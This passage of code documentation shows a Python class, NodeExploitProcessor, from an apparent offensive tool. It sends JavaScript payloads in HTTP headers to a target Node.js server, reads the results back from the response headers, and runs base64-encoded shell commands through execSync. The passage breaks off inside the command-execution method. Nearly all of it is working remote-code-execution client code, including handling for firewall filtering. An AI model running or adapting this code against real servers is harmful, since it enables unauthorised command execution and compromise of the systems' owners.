Class NodeExploitProcessor

src/NodeExploitProcessor.py:12–318

        Inherits from the ExploitProcessor class. 
"""
class NodeExploitProcessor(ExploitProcessor):
    def __init__(self, host: str, path: str, method: str, header: str):
        super().__init__(host, path, method, header)

    """
    @brief See base class for details.
    """
    def get_name():
        return "Node"
    
    """
    @brief See base class for details.
    """
    def _Base__make_connection(self):
        try:
            return self._Base__send_message(
                f"r.setHeader('{self.header}', process.cwd());"
                f"r.end();")
        except:
            raise CommandException(f"Unable to exploit host. Make sure the "
                                   f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, "
                                   f"and METHOD are correct.")
    
    """
    @brief See base class for details.
    """
    def _Base__send_message(self, message: str):
        url = f"{self.host}{self.path}"
        if not self.host.startswith("http"):
            url = "http://" + url
        try:
            response = requests.request(
                self.method,
                url,
                headers={ f"{self.header}": message }
            )
            if not response.ok:
                raise Exception()
            if not self.header in response.headers:
                raise CommandException(
                    f"No message sent back from server, your exploit is "
                    f"probably being filtered by a firewall.")
            return response.headers[self.header]
        except:
            raise CommandException(f"Message was not successfully processed.")
        
    """
    @brief Run a command on the target machine, and return its output as a
            string.
    @param command the command to be ran as a string
    @return a string of the output from the server, will be blank if it fails.
    @throw CommandException if there is a connection error.
    """
    def __run(self, command: str):  # relies on execSync being imported
        encoded = base64.b64encode(command.encode()).decode()
        out = self.__eval(f"try {{"
                            f"let out = execSync(Buffer.from('{encoded}',"
                                f"'base64').toString('ascii'),"